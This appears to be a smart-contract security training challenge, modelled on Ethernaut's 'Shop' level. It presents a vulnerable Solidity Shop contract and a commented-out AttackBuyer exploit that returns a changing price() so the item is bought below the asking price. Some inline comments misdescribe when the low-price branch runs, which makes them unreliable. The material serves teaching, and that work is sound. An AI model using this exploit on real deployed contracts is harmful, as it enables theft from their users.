Shop

Buy the item from the shop for less than the asking price.

Vulnerable Code
Analyze the Solidity code below to find the vulnerability.
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; interface Buyer { function price() external view returns (uint); } contract Shop { // Note: Interface name typo fixed vs some Ethernaut versions uint public price = 100; bool public isSold; function buy() public { Buyer buyer = Buyer(msg.sender); // Assumes caller is a contract implementing Buyer // Checks price offered by buyer *before* changing state if (buyer.price() >= price && !isSold) { isSold = true; // State changes *after* external call price = buyer.price(); // Actual price update happens too late for the check } } } /* Example Buyer (Attacker) Contract: // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; // Interfaces needed by the attacker contract interface IShop { function isSold() external view returns (bool); function price() external view returns (uint); function buy() external; } interface Buyer { function price() external view returns (uint); } // Attacker contract implementing the Buyer interface contract AttackBuyer is Buyer { IShop public shopInstance; // Prices designed to pass/fail the check based on shop state uint constant HIGH_PRICE = 101; // Price to offer when shop is NOT sold uint constant LOW_PRICE = 1; // Price to offer when shop IS sold constructor(address _shopAddress) { shopInstance = IShop(_shopAddress); } // This function is called BY the Shop contract during its buy() execution function price() external view override returns (uint) { // Check the shop's state *during* the external call if (shopInstance.isSold()) { // If shop.isSold is true (which it isn't yet during the check), // we *would* offer a low price. // This branch isn't hit during the initial check. return LOW_PRICE; } else { // Shop.isSold is false during the check, so offer a high price // to satisfy the condition buyer.price() >= shop.price return HIGH_PRICE; } } // Function called by the attacker (EOA) to initiate the exploit function attack() public { shopInstance.buy(); } } */
Submit Explanation
Explain the vulnerability and how to exploit it.
Hints (6)
Just a little peak
Hint 1
Hint 2
Hint 3
Hint 4
Hint 5
Hint 6
Explanation
Discomfort = Learning